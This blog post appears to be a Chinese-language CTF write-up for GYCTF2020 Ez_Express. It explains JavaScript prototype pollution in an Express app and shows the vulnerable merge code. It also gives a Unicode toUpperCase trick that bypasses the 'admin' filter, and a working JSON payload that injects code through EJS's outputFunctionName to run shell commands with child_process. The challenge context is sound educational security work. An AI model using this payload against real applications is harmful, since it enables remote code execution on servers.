JS原型链污染


[GYCTF2020]Ez_Express

根目录下载www.zip

Index.js

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}
function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}

router.get('/', function (req, res) {
  if(!req.session.user){
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;//初始状态为空未定义
  res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
  res.render('login');
});



router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),//fuzz可以发现存在特殊字符,大写为I和S
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/');
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }

  }
  res.redirect('/'); ;
});
router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

测试脚本:

<!DOCTYPE html>
<html>
    <head>
    </head>
    <body>
        <script type="text/javascript">
            var arr  = new Array();
            for(var i = 0;i < 26;i++){
                arr[i] = new Array();
            }
            for(var i = 0;i < 65536;i++){
                j = String.fromCharCode(i).toUpperCase();
                if(j.length == 1){
                    c = j.charCodeAt(0);
                    if(c>64&&c<91){
                        l = arr[c-65].length;
                        arr[c-65][l] = i;
                    }
                }
            }
            for(var i = 0;i < 26;i++){
                document.write("<p>"+String.fromCharCode(i+65)+":</p>");
                document.write("<p>");
                for(j = 0;j < arr[i].length;j++){
                    document.write(arr[i][j]+",");
                }
                document.write("</p>");
            }
        </script>
    </body>
</html>

image-20220503113128875

Js中的toUpperCase编码问题

Payload:

修改content-type 为application/json

{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

最后访问/info

利用原形链污染赋值原始对象使其存在目标属性,并在赋值的时候将目标属性的值设置为恶意代码,最后渲染的时候进行代码执行


文章作者: 尘落
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 尘落 !
评论
  目录